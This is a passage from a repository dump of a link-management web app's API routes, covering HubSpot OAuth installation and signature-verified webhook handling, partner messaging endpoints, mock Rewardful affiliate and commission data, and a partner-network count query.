});\n    }\n\n    // Check if the user is an owner of the workspace\n    if (workspace.users[0].role !== \"owner\") {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"Only workspace owners can install integrations. \",\n      });\n    }\n\n    const integration = await prisma.integration.findUniqueOrThrow({\n      where: {\n        slug: \"hubspot\",\n      },\n      select: {\n        id: true,\n      },\n    });\n\n    const credentials = {\n      ...token,\n      created_at: Date.now(),\n    };\n\n    const installedIntegration = await installIntegration({\n      integrationId: integration.id,\n      userId: session.user.id,\n      workspaceId,\n      credentials,\n    });\n\n    if (installedIntegration) {\n      const hubSpotApi = new HubSpotApi({\n        token: credentials.access_token,\n      });\n\n      waitUntil(\n        hubSpotApi.createPropertiesBatch({\n          objectType: \"0-1\",\n          properties: HUBSPOT_DUB_CONTACT_PROPERTIES,\n        }),\n      );\n    }\n  } catch (e: any) {\n    return handleAndReturnErrorResponse(e);\n  }\n\n  redirect(`/${workspace.slug}/settings/integrations/hubspot`);\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/hubspot/webhook/route.ts",
    "content": "import { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { withAxiom } from \"@/lib/axiom/server\";\nimport { hubSpotOAuthProvider } from \"@/lib/integrations/hubspot/oauth\";\nimport {\n  hubSpotSettingsSchema,\n  hubSpotWebhookSchema,\n} from \"@/lib/integrations/hubspot/schema\";\nimport { trackHubSpotLeadEvent } from \"@/lib/integrations/hubspot/track-lead\";\nimport { trackHubSpotSaleEvent } from \"@/lib/integrations/hubspot/track-sale\";\nimport { prisma } from \"@dub/prisma\";\nimport crypto from \"crypto\";\nimport { NextResponse } from \"next/server\";\n\nconst HUBSPOT_CLIENT_SECRET = process.env.HUBSPOT_CLIENT_SECRET || \"\";\n\n// POST /api/hubspot/webhook – listen to webhook events from Hubspot\nexport const POST = withAxiom(async (req) => {\n  try {\n    const rawPayload = await req.text();\n    const signature = req.headers.get(\"X-HubSpot-Signature\");\n\n    // Verify webhook signature\n    if (!signature) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"Missing X-HubSpot-Signature header.\",\n      });\n    }\n\n    if (!HUBSPOT_CLIENT_SECRET) {\n      throw new DubApiError({\n        code: \"internal_server_error\",\n        message: \"Missing HUBSPOT_CLIENT_SECRET environment variable.\",\n      });\n    }\n\n    // Create expected hash: client_secret + request_body\n    const sourceString = HUBSPOT_CLIENT_SECRET + rawPayload;\n    const expectedHash = crypto\n      .createHash(\"sha256\")\n      .update(sourceString)\n      .digest(\"hex\");\n\n    // Compare with provided signature\n    if (signature !== expectedHash) {\n      throw new DubApiError({\n        code: \"unauthorized\",\n        message: \"Invalid webhook signature.\",\n      });\n    }\n\n    const payload = JSON.parse(rawPayload) as any[];\n\n    // HS send multiple events in the same request\n    // so we need to process each event individually\n    await Promise.allSettled(payload.map(processWebhookEvent));\n\n    return NextResponse.json({ message: \"Webhook received.\" });\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n});\n\n// Process individual event\nasync function processWebhookEvent(event: any) {\n  const { objectTypeId, portalId, subscriptionType } =\n    hubSpotWebhookSchema.parse(event);\n\n  // Find the installation\n  const installation = await prisma.installedIntegration.findFirst({\n    where: {\n      integration: {\n        slug: \"hubspot\",\n      },\n      credentials: {\n        path: \"$.hub_id\",\n        equals: portalId,\n      },\n    },\n    include: {\n      project: true,\n    },\n  });\n\n  if (!installation) {\n    console.error(\n      `[HubSpot] Installation is not found for portalId ${portalId}.`,\n    );\n    return;\n  }\n\n  const { project: workspace } = installation;\n\n  // Refresh the access token if needed\n  const authToken =\n    await hubSpotOAuthProvider.refreshTokenForInstallation(installation);\n\n  if (!authToken) {\n    console.error(\n      `[HubSpot] Authentication token is not found or valid for portalId ${portalId}.`,\n    );\n    return;\n  }\n\n  const settings = hubSpotSettingsSchema.parse(installation.settings ?? {});\n\n  console.log(\"[HubSpot] Event\", event);\n  console.log(\"[HubSpot] Integration settings\", settings);\n\n  // Contact events\n  if (objectTypeId === \"0-1\") {\n    const isContactCreated = subscriptionType === \"object.creation\";\n\n    const isLifecycleStageChanged =\n      subscriptionType === \"object.propertyChange\" &&\n      settings.leadTriggerEvent === \"lifecycleStageReached\";\n\n    if (isContactCreated || isLifecycleStageChanged) {\n      await trackHubSpotLeadEvent({\n        payload: event,\n        workspace,\n        authToken,\n        settings,\n      });\n    }\n  }\n\n  // Deal event\n  if (objectTypeId === \"0-3\") {\n    const isDealCreated =\n      subscriptionType === \"object.creation\" &&\n      settings.leadTriggerEvent === \"dealCreated\";\n\n    const isDealUpdated = subscriptionType === \"object.propertyChange\";\n\n    // Track the final lead event\n    if (isDealCreated) {\n      await trackHubSpotLeadEvent({\n        payload: event,\n        workspace,\n        authToken,\n        settings,\n      });\n    }\n\n    // Track the sale event when deal is closed won\n    else if (isDealUpdated) {\n      await trackHubSpotSaleEvent({\n        payload: event,\n        workspace,\n        authToken,\n        settings,\n      });\n    }\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/messages/count/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { countMessagesQuerySchema } from \"@/lib/zod/schemas/messages\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/messages/count - count messages for a program\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { unread } = countMessagesQuerySchema.parse(searchParams);\n\n    const count = await prisma.message.count({\n      where: {\n        programId,\n        ...(unread !== undefined && {\n          // Only count messages from the partner\n          senderPartnerId: {\n            not: null,\n          },\n          readInApp: unread\n            ? // Only count unread messages\n              null\n            : {\n                // Only count read messages\n                not: null,\n              },\n        }),\n      },\n    });\n\n    return NextResponse.json(count);\n  },\n  {\n    requiredPermissions: [\"messages.read\"],\n    requiredPlan: [\"advanced\", \"enterprise\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/messages/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport {\n  PartnerMessagesSchema,\n  getPartnerMessagesQuerySchema,\n} from \"@/lib/zod/schemas/messages\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/messages - get messages grouped by partner\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const {\n      partnerId,\n      sortBy,\n      sortOrder,\n      messagesLimit: messagesLimitArg,\n    } = getPartnerMessagesQuerySchema.parse(searchParams);\n\n    const messagesLimit = messagesLimitArg ?? (partnerId ? undefined : 10);\n\n    const partners = await prisma.partner.findMany({\n      where: partnerId\n        ? {\n            id: partnerId,\n            // Partner is either discoverable, enrolled in the program, or already has a message with the program\n            OR: [\n              { discoverableAt: { not: null } },\n              { programs: { some: { programId } } },\n              { messages: { some: { programId } } },\n            ],\n          }\n        : {\n            // Partner has messages with the program\n            messages: {\n              some: {\n                programId,\n              },\n            },\n          },\n      take: 1000, // TODO: add pagination later\n      include: {\n        messages: {\n          where: {\n            programId,\n          },\n          include: {\n            senderPartner: true,\n            senderUser: true,\n          },\n          orderBy: {\n            [sortBy]: sortOrder,\n          },\n          take: messagesLimit,\n        },\n      },\n    });\n\n    return NextResponse.json(\n      PartnerMessagesSchema.parse(\n        partners\n          // Sort by unread first, then by most recent message\n          .sort((a, b) => {\n            const aUnread = a.messages.some(\n              (m) => m.senderPartnerId && !m.readInApp,\n            );\n            const bUnread = b.messages.some(\n              (m) => m.senderPartnerId && !m.readInApp,\n            );\n\n            if (aUnread !== bUnread) {\n              return aUnread ? -1 : 1;\n            }\n\n            return sortOrder === \"desc\"\n              ? (b.messages?.[0]?.[sortBy]?.getTime() ?? 0) -\n                  (a.messages?.[0]?.[sortBy]?.getTime() ?? 0)\n              : (a.messages?.[0]?.[sortBy]?.getTime() ?? 0) -\n                  (b.messages?.[0]?.[sortBy]?.getTime() ?? 0);\n          })\n          // Map to {partner, messages}\n          .map(({ messages, ...partner }) => ({\n            partner,\n            messages,\n          })),\n      ),\n    );\n  },\n  {\n    requiredPermissions: [\"messages.read\"],\n    requiredPlan: [\"advanced\", \"enterprise\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/mock/rewardful/affiliates/route.ts",
    "content": "import { NextRequest, NextResponse } from \"next/server\";\n\nexport async function GET(request: NextRequest) {\n  const searchParams = request.nextUrl.searchParams;\n  const page = parseInt(searchParams.get(\"page\") || \"1\");\n  const limit = parseInt(searchParams.get(\"limit\") || \"10\");\n\n  const affiliates = [\n    {\n      id: \"d0ed8392-8880-4f39-8715-60230f9eceab\",\n      created_at: \"2023-05-09T16:18:59.920Z\",\n      updated_at: \"2023-05-09T16:25:42.614Z\",\n      first_name: \"Adam\",\n      last_name: \"Jones\",\n      email: \"adam.jones@example.com\",\n      state: \"active\",\n      visitors: 100,\n      leads: 42,\n      conversions: 18,\n      links: [\n        {\n          id: \"eb844960-6c42-4a3b-8009-f588a42d8506\",\n          url: \"http://www.example.com/?via=adam\",\n          token: \"ref1\",\n          visitors: 100,\n          leads: 42,\n          conversions: 18,\n        },\n      ],\n    },\n    {\n      id: \"f7c91234-5678-4a3b-9012-34567890abcd\",\n      created_at: \"2023-06-15T10:30:00.000Z\",\n      updated_at: \"2023-06-15T10:35:00.000Z\",\n      first_name: \"Sarah\",\n      last_name: \"Smith\",\n      email: \"sarah.smith@example.com\",\n      state: \"active\",\n      visitors: 250,\n      leads: 85,\n      conversions: 30,\n      links: [\n        {\n          id: \"cd123456-7890-4def-b123-456789abcdef\",\n          url: \"http://www.example.com/?via=sarah\",\n          token: \"ref2\",\n          visitors: 250,\n          leads: 85,\n          conversions: 30,\n        },\n      ],\n    },\n    {\n      id: \"a1b2c3d4-5678-4e5f-6g7h-8i9j0k1l2m3n\",\n      created_at: \"2023-07-20T14:45:00.000Z\",\n      updated_at: \"2023-07-20T14:50:00.000Z\",\n      first_name: \"Michael\",\n      last_name: \"Brown\",\n      email: \"michael.brown@example.com\",\n      state: \"active\",\n      visitors: 150,\n      leads: 35,\n      conversions: 12,\n      links: [\n        {\n          id: \"ef123456-7890-4abc-def1-23456789abcd\",\n          url: \"http://www.example.com/?via=michael\",\n          token: \"ref3\",\n          visitors: 150,\n          leads: 35,\n          conversions: 12,\n        },\n      ],\n    },\n    {\n      id: \"b2c3d4e5-6f7g-8h9i-j0k1-l2m3n4o5p6q7\",\n      created_at: \"2023-08-05T09:15:00.000Z\",\n      updated_at: \"2023-08-05T09:20:00.000Z\",\n      first_name: \"Emily\",\n      last_name: \"Davis\",\n      email: \"emily.davis@example.com\",\n      state: \"active\",\n      visitors: 300,\n      leads: 120,\n      conversions: 45,\n      links: [\n        {\n          id: \"gh123456-7890-4ijk-lmno-pqrstuvwxyz1\",\n          url: \"http://www.example.com/?via=emily\",\n          token: \"ref4\",\n          visitors: 300,\n          leads: 120,\n          conversions: 45,\n        },\n      ],\n    },\n    {\n      id: \"c3d4e5f6-7g8h-9i0j-k1l2-m3n4o5p6q7r8\",\n      created_at: \"2023-09-10T11:20:00.000Z\",\n      updated_at: \"2023-09-10T11:25:00.000Z\",\n      first_name: \"David\",\n      last_name: \"Wilson\",\n      email: \"david.wilson@example.com\",\n      state: \"active\",\n      visitors: 180,\n      leads: 60,\n      conversions: 25,\n      links: [\n        {\n          id: \"ij123456-7890-4klm-nopq-rstuvwxyz123\",\n          url: \"http://www.example.com/?via=david\",\n          token: \"ref5\",\n          visitors: 180,\n          leads: 60,\n          conversions: 25,\n        },\n      ],\n    },\n    {\n      id: \"d4e5f6g7-8h9i-0j1k-l2m3-n4o5p6q7r8s9\",\n      created_at: \"2023-10-15T13:40:00.000Z\",\n      updated_at: \"2023-10-15T13:45:00.000Z\",\n      first_name: \"Lisa\",\n      last_name: \"Taylor\",\n      email: \"lisa.taylor@example.com\",\n      state: \"active\",\n      visitors: 220,\n      leads: 75,\n      conversions: 28,\n      links: [\n        {\n          id: \"kl123456-7890-4mno-pqrs-tuvwxyz12345\",\n          url: \"http://www.example.com/?via=lisa\",\n          token: \"ref6\",\n          visitors: 220,\n          leads: 75,\n          conversions: 28,\n        },\n      ],\n    },\n    {\n      id: \"e5f6g7h8-9i0j-1k2l-m3n4-o5p6q7r8s9t0\",\n      created_at: \"2023-11-20T15:55:00.000Z\",\n      updated_at: \"2023-11-20T16:00:00.000Z\",\n      first_name: \"James\",\n      last_name: \"Anderson\",\n      email: \"james.anderson@example.com\",\n      state: \"active\",\n      visitors: 90,\n      leads: 20,\n      conversions: 8,\n      links: [\n        {\n          id: \"mn123456-7890-4opq-rstu-vwxyz123456\",\n          url: \"http://www.example.com/?via=james\",\n          token: \"ref7\",\n          visitors: 90,\n          leads: 20,\n          conversions: 8,\n        },\n      ],\n    },\n    {\n      id: \"f6g7h8i9-0j1k-2l3m-n4o5-p6q7r8s9t0u1\",\n      created_at: \"2023-12-25T08:10:00.000Z\",\n      updated_at: \"2023-12-25T08:15:00.000Z\",\n      first_name: \"Emma\",\n      last_name: \"Martinez\",\n      email: \"emma.martinez@example.com\",\n      state: \"active\",\n      visitors: 280,\n      leads: 95,\n      conversions: 40,\n      links: [\n        {\n          id: \"op123456-7890-4qrs-tuv-wxyz1234567\",\n          url: \"http://www.example.com/?via=emma\",\n          token: \"ref8\",\n          visitors: 280,\n          leads: 95,\n          conversions: 40,\n        },\n      ],\n    },\n    {\n      id: \"g7h8i9j0-1k2l-3m4n-o5p6-q7r8s9t0u1v2\",\n      created_at: \"2024-01-05T12:30:00.000Z\",\n      updated_at: \"2024-01-05T12:35:00.000Z\",\n      first_name: \"Robert\",\n      last_name: \"Garcia\",\n      email: \"robert.garcia@example.com\",\n      state: \"active\",\n      visitors: 160,\n      leads: 55,\n      conversions: 22,\n      links: [\n        {\n          id: \"qr123456-7890-4stu-vwxy-z123456789\",\n          url: \"http://www.example.com/?via=robert\",\n          token: \"ref9\",\n          visitors: 160,\n          leads: 55,\n          conversions: 22,\n        },\n      ],\n    },\n    {\n      id: \"h8i9j0k1-2l3m-4n5o-p6q7-r8s9t0u1v2w3\",\n      created_at: \"2024-02-10T16:50:00.000Z\",\n      updated_at: \"2024-02-10T16:55:00.000Z\",\n      first_name: \"Olivia\",\n      last_name: \"Lee\",\n      email: \"olivia.lee@example.com\",\n      state: \"active\",\n      visitors: 200,\n      leads: 70,\n      conversions: 32,\n      links: [\n        {\n          id: \"st123456-7890-4uvw-xyz1-234567890ab\",\n          url: \"http://www.example.com/?via=olivia\",\n          token: \"ref10\",\n          visitors: 200,\n          leads: 70,\n          conversions: 32,\n        },\n      ],\n    },\n  ];\n\n  const startIndex = (page - 1) * limit;\n  const endIndex = startIndex + limit;\n  const paginatedAffiliates = affiliates.slice(startIndex, endIndex);\n\n  return NextResponse.json({\n    data: paginatedAffiliates,\n  });\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/mock/rewardful/campaigns/[campaignId]/route.ts",
    "content": "import { NextResponse } from \"next/server\";\nimport { campaigns } from \"../campaigns\";\n\nexport async function GET(\n  request: Request,\n  props: { params: Promise<{ campaignId: string }> },\n) {\n  const params = await props.params;\n  const { campaignId } = params;\n\n  const campaign = campaigns.find((c) => c.id === campaignId);\n\n  return NextResponse.json(campaign);\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/mock/rewardful/campaigns/campaigns.ts",
    "content": "export const campaigns = [\n  {\n    id: \"ceaef6d9-767e-49aa-a6ab-46c02aa79604\",\n    created_at: \"2021-11-24T06:31:06.672Z\",\n    updated_at: \"2022-02-22T23:17:55.119Z\",\n    name: \"Campaign 1\",\n    url: \"https://rewardful.com/\",\n    private: false,\n    private_tokens: false,\n    commission_amount_cents: null,\n    commission_amount_currency: null,\n    minimum_payout_cents: 0,\n    max_commission_period_months: 12,\n    max_commissions: null,\n    days_before_referrals_expire: 30,\n    days_until_commissions_are_due: 30,\n    affiliate_dashboard_text: \"\",\n    custom_reward_description: \"\",\n    welcome_text: \"\",\n    customers_visible_to_affiliates: false,\n    sale_description_visible_to_affiliates: true,\n    parameter_type: \"query\",\n    stripe_coupon_id: \"jo45MTj3\",\n    default: false,\n    reward_type: \"percent\",\n    commission_percent: 30.0,\n    minimum_payout_currency: \"USD\",\n    visitors: 150,\n    leads: 39,\n    conversions: 7,\n    affiliates: 12,\n  },\n  {\n    id: \"ceaef6d9-767e-49aa-a6ab-46c02aa79605\",\n    created_at: \"2021-11-24T06:31:06.672Z\",\n    updated_at: \"2022-02-22T23:17:55.119Z\",\n    name: \"Campaign 2\",\n    url: \"https://rewardful.com/\",\n    private: false,\n    private_tokens: false,\n    commission_amount_cents: 5000, // $50.00\n    commission_amount_currency: \"USD\",\n    minimum_payout_cents: 0,\n    max_commission_period_months: 24,\n    max_commissions: null,\n    days_before_referrals_expire: 30,\n    days_until_commissions_are_due: 30,\n    affiliate_dashboard_text: \"\",\n    custom_reward_description: \"\",\n    welcome_text: \"\",\n    customers_visible_to_affiliates: false,\n    sale_description_visible_to_affiliates: true,\n    parameter_type: \"query\",\n    stripe_coupon_id: \"jo45MTj3\",\n    default: false,\n    reward_type: \"amount\",\n    commission_percent: null,\n    minimum_payout_currency: \"USD\",\n    visitors: 150,\n    leads: 39,\n    conversions: 7,\n    affiliates: 12,\n  },\n];\n"
  },
  {
    "path": "apps/web/app/(ee)/api/mock/rewardful/campaigns/route.ts",
    "content": "import { NextResponse } from \"next/server\";\nimport { campaigns } from \"./campaigns\";\n\nexport async function GET() {\n  return NextResponse.json({\n    data: campaigns,\n  });\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/mock/rewardful/commissions/route.ts",
    "content": "import { NextRequest, NextResponse } from \"next/server\";\n\nexport async function GET(request: NextRequest) {\n  const searchParams = request.nextUrl.searchParams;\n  const page = parseInt(searchParams.get(\"page\") || \"1\");\n  const limit = parseInt(searchParams.get(\"limit\") || \"10\");\n\n  const commissions = Array.from({ length: 10 }, (_, i) => ({\n    id: `39e68c88-d84a-4510-b3b4-43c75016a0${i}0`,\n    created_at: `2020-08-${19 + i}T16:28:31.164Z`,\n    updated_at: `2020-08-${19 + i}T16:28:31.164Z`,\n    amount: 3000 + i * 1000,\n    currency: \"USD\",\n    state: [\"pending\", \"due\", \"paid\", \"voided\"][i % 4],\n    due_at: `2020-09-${18 + i}T16:28:25.000Z`,\n    paid_at: i % 3 === 1 ? `2020-09-${20 + i}T16:28:25.000Z` : null,\n    voided_at: i % 3 === 2 ? `2020-09-${21 + i}T16:28:25.000Z` : null,\n    campaign: {\n      id: \"ceaef6d9-767e-49aa-a6ab-46c02aa79604\",\n      created_at: `2020-05-22T02:55:19.802Z`,\n      updated_at: `2020-08-19T16:28:16.177Z`,\n      name: `Campaign ${i + 1}`,\n    },\n    sale: {\n      id: `74e37d3b-03c5-4bfc-841c-a79d5799551${i}`,\n      currency: \"USD\",\n      charged_at: `2020-08-${19 + i}T16:28:25.000Z`,\n      stripe_account_id: `acct_ABC${123 + i}`,\n      stripe_charge_id: `ch_ABC${123 + i}`,\n      invoiced_at: `2020-08-${19 + i}T16:28:25.000Z`,\n      created_at: `2020-08-${19 + i}T16:28:31.102Z`,\n      updated_at: `2020-08-${19 + i}T16:28:31.102Z`,\n      charge_amount_cents: 10000 + i * 1000,\n      refund_amount_cents: 0,\n      tax_amount_cents: 0,\n      sale_amount_cents: 10000 + i * 1000,\n      referral: {\n        id: `d154e622-278a-4103-b191-5cbebae4047${i}`,\n        stripe_account_id: `acct_ABC${123 + i}`,\n        stripe_customer_id: `cus_ABC${123 + i}`,\n        conversion_state: \"conversion\",\n        deactivated_at: null,\n        expires_at: `2020-10-18T16:13:12.109Z`,\n        created_at: `2020-08-19T16:13:12.109Z`,\n        updated_at: `2020-08-19T16:28:31.166Z`,\n        customer: {\n          platform: \"stripe\",\n          id: `cus_ABC${123 + i}`,\n          name: [\n            \"Freddie Mercury\",\n            \"David Bowie\",\n            \"Mick Jagger\",\n            \"Robert Plant\",\n            \"Roger Waters\",\n            \"Paul McCartney\",\n            \"John Lennon\",\n            \"George Harrison\",\n            \"Ringo Starr\",\n            \"Brian May\",\n          ][i],\n          email: `rockstar${i}@example.com`,\n        },\n        visits: 2 + i,\n        link: {\n          id: `b759a9ed-ed63-499f-b621-0221f2712${i}86`,\n          url: `http://www.demo.com:8080/?via=ref${i}`,\n          token: `ref${i}`,\n          visitors: 197 + i,\n          leads: 196 + i,\n          conversions: 156 + i,\n        },\n      },\n      affiliate: {\n        id: `07d8acc5-c689-4b4a-bbab-f88a71ffc0${i}2`,\n        created_at: `2020-05-22T02:55:19.934Z`,\n        updated_at: `2020-08-19T16:28:31.168Z`,\n        first_name: [\n          \"James\",\n          \"Felix\",\n          \"Eve\",\n          \"M\",\n          \"Q\",\n          \"Bill\",\n          \"Alec\",\n          \"Pierce\",\n          \"Timothy\",\n          \"Daniel\",\n        ][i],\n        last_name: [\n          \"Bond\",\n          \"Leiter\",\n          \"Moneypenny\",\n          \"Mansfield\",\n          \"Boothroyd\",\n          \"Tanner\",\n          \"Trevelyan\",\n          \"Brosnan\",\n          \"Dalton\",\n          \"Craig\",\n        ][i],\n        email: `agent${i}@mi6.co.uk`,\n        paypal_email: \"\",\n        confirmed_at: `2020-07-09T03:53:06.760Z`,\n        paypal_email_confirmed_at: `2020-07-03T17:49:23.489Z`,\n        receive_new_commission_notifications: true,\n        sign_in_count: 1 + i,\n        unconfirmed_email: null,\n        stripe_customer_id: null,\n        stripe_account_id: null,\n        visitors: 197 + i,\n        leads: 196 + i,\n        conversions: 156 + i,\n        campaign: {\n          id: `c3482343-8680-40c5-af9a-9efa119713b${i}`,\n          created_at: `2020-05-22T02:55:19.802Z`,\n          updated_at: `2020-08-19T16:28:16.177Z`,\n          name: `Campaign ${i + 1}`,\n        },\n      },\n    },\n  }));\n\n  const startIndex = (page - 1) * limit;\n  const endIndex = startIndex + limit;\n  const slicedCommissions = commissions.slice(startIndex, endIndex);\n\n  return NextResponse.json({\n    data: slicedCommissions.length > 0 ? slicedCommissions : [],\n  });\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/mock/rewardful/referrals/route.ts",
    "content": "import { NextRequest, NextResponse } from \"next/server\";\n\nexport async function GET(request: NextRequest) {\n  const searchParams = request.nextUrl.searchParams;\n  const page = parseInt(searchParams.get(\"page\") || \"1\");\n  const limit = parseInt(searchParams.get(\"limit\") || \"10\");\n\n  const referrals = Array.from({ length: 10 }, (_, i) => ({\n    id: `e523da29-6157-4aac-b4b5-05b3b7b14fb${i}`,\n    link: {\n      id: `32a19d65-2b68-434d-a401-e72ca7f24d8${i}`,\n      url: `http://www.example.com/?via=ref${i}`,\n      leads: 3 + i,\n      token: `ref${i + 1}`,\n      visitors: 5 + i,\n      conversions: 2 + i,\n    },\n    visits: 30 + i * 5,\n    customer: {\n      id: `cus_ABC${123 + i}`,\n      name: [\n        `John Doe`,\n        `Jane Smith`,\n        `Bob Johnson`,\n        `Alice Brown`,\n        `Charlie Wilson`,\n        `Diana Prince`,\n        `Bruce Wayne`,\n        `Clark Kent`,\n        `Peter Parker`,\n        `Tony Stark`,\n      ][i],\n      email: `user${i}@example.com`,\n      platform: \"stripe\",\n    },\n    affiliate: {\n      id: `dc939584-a94a-4bdf-b8f4-8d255aae72${i}c`,\n      email: `affiliate${i}@example.com`,\n      leads: 3 + i,\n      campaign: {\n        id: \"ceaef6d9-767e-49aa-a6ab-46c02aa79604\",\n        name: `Campaign ${i + 1}`,\n        created_at: `2020-04-${20 + i}T00:24:08.199Z`,\n        updated_at: `2020-04-${20 + i}T00:24:08.199Z`,\n      },\n      visitors: 5 + i,\n      last_name: [\n        `Smith`,\n        `Johnson`,\n        `Williams`,\n        `Brown`,\n        `Jones`,\n        `Garcia`,\n        `Miller`,\n        `Davis`,\n        `Rodriguez`,\n        `Martinez`,\n      ][i],\n      created_at: `2020-04-${20 + i}T00:24:08.334Z`,\n      first_name: [\n        `James`,\n        `Mary`,\n        `Robert`,\n        `Patricia`,\n        `Michael`,\n        `Linda`,\n        `William`,\n        `Elizabeth`,\n        `David`,\n        `Barbara`,\n      ][i],\n      updated_at: `2020-05-${i + 1}T19:39:03.028Z`,\n      conversions: 2 + i,\n      confirmed_at: `2020-04-${20 + i}T00:24:08.331Z`,\n      paypal_email: null,\n      sign_in_count: i,\n      stripe_account_id: null,\n      unconfirmed_email: null,\n      stripe_customer_id: null,\n      paypal_email_confirmed_at: null,\n      receive_new_commission_notifications: true,\n    },\n    created_at: `2025-01-${20 + i}T00:34:28.448Z`,\n    became_lead_at: `2025-01-${20 + i}T00:36:28.448Z`,\n    became_conversion_at: `2025-01-${20 + i}T00:38:28.448Z`,\n    expires_at: `2020-06-${20 + i}T00:34:28.448Z`,\n    updated_at: `2020-04-${20 + i}T00:38:28.448Z`,\n    deactivated_at: null,\n    conversion_state: \"conversion\",\n    stripe_account_id: `acct_ABC${123 + i}`,\n    stripe_customer_id: `cus_ABC${123 + i}`,\n  }));\n\n  const startIndex = (page - 1) * limit;\n  const endIndex = startIndex + limit;\n  const slicedReferrals = referrals.slice(startIndex, endIndex);\n\n  return NextResponse.json({\n    data: slicedReferrals.length > 0 ? slicedReferrals : [],\n  });\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/network/partners/count/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { getNetworkPartnersCountQuerySchema } from \"@/lib/zod/schemas/partner-network\";\nimport { prisma } from \"@dub/prisma\";\nimport { PlatformType, Prisma } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/network/partners/count - get the number of available partners in the network\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { partnerNetworkEnabledAt } = await prisma.program.findUniqueOrThrow({\n      select: {\n        partnerNetworkEnabledAt: true,\n      },\n      where: {\n        id: programId,\n      },\n    });\n\n    if (!partnerNetworkEnabledAt) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"Partner network is not enabled for this program.\",\n      });\n    }\n\n    const {\n      partnerIds,\n      status,\n      groupBy,\n      country,\n      starred,\n      platform,\n      subscribers,\n    } = getNetworkPartnersCountQuerySchema.parse(searchParams);\n\n    // Build platform filter - combine platform type and subscribers if both are set\n    const platformFilter: Prisma.PartnerPlatformWhereInput | undefined =\n      platform || subscribers\n        ? {\n            verifiedAt: { not: null },\n            ...(platform && { type: platform }),\n            ...(subscribers === \"<5000\" && {\n              subscribers: { lt: 5000 },\n            }),\n            ...(subscribers === \"5000-25000\" && {\n              subscribers: { gte: 5000, lt: 25000 },\n            }),\n            ...(subscribers === \"25000-100000\" && {\n              subscribers: { gte: 25000, lt: 100000 },\n            }),\n            ...(subscribers === \"100000+\" && {\n              subscribers: { gte: 100000 },\n            }),\n          }\n        : undefined;\n\n    const commonWhere: Prisma.PartnerWhereInput = {\n      discoverableAt: { not: null },\n      ...(partnerIds && {\n        id: { in: partnerIds },\n      }),\n      ...(country && {\n        country,\n      }),\n      ...(platformFilter && {\n        platforms: {\n          some: platformFilter,\n        },\n      }),\n    };\n\n    const statusWheres = {\n      discover: {\n        programs: { none: { programId } },\n        // Allow partners with no DiscoveredPartner record OR not ignored\n        OR:\n          starred === true\n            ? [\n                {\n                  discoveredByPrograms: {\n                    some: { programId, starredAt: { not: null } },\n                  },\n                },\n              ]\n            : starred === false\n              ? [\n                  { discoveredByPrograms: { none: { programId } } }, // No record yet\n                  {\n                    discoveredByPrograms: {\n                      some: { programId, starredAt: null, ignoredAt: null },\n                    },\n                  }, // Not starred and not ignored\n                ]\n              : [\n                  { discoveredByPrograms: { none: { programId } } }, // No record yet\n                  {\n                    discoveredByPrograms: {\n                      some: { programId, ignoredAt: null },\n                    },\n                  }, // Has record but not ignored\n                ],\n      },\n      invited: {\n        programs: { some: { programId, status: \"invited\" } },\n        discoveredByPrograms: {\n          some: { programId, invitedAt: { not: null }, ignoredAt: null },\n        },\n      },\n      recruited: {\n        programs: { some: { programId, status: \"approved\" } },\n        discoveredByPrograms: {\n          some: { programId, invitedAt: { not: null } },\n        },\n      },\n    } as const;\n\n    if (groupBy === \"status\") {\n      const [discover, invited, recruited] = await Promise.all([\n        !status || status === \"discover\"\n          ? prisma.partner.count({\n              where: {\n                ...commonWhere,\n                ...statusWheres.discover,\n              },\n            })\n          : undefined,\n        !status || status === \"invited\"\n          ? prisma.partner.count({\n              where: {\n                ...commonWhere,\n                ...statusWheres.invited,\n              },\n            })\n          : undefined,\n        !status || status === \"recruited\"\n          ? prisma.partner.count({\n              where: {\n                ...commonWhere,\n                ...statusWheres.recruited,\n              },\n            })\n          : undefined,\n      ]);\n\n      return NextResponse.json({\n        discover,\n        invited,\n        recruited,\n      });\n    } else if (groupBy === \"country\") {\n      const countries = await prisma.partner.groupBy({\n        by: [\"country\"],\n        _count: true,\n        where: { ...commonWhere, ...statusWheres[status || \"discover\"] },\n        orderBy: {\n          _count: {\n            country: \"desc\",\n          },\n        },\n      });\n\n      return NextResponse.json(countries);\n    } else if (groupBy === \"platform\") {\n      // Build platform filter for PartnerPlatform\n      const platformPlatformFilter: Prisma.PartnerPlatformWhereInput = {\n        verifiedAt: { not: null },\n        ...(subscribers === \"<5000\" && {\n          subscribers: { lt: 5000 },\n        }),\n        ...(subscribers === 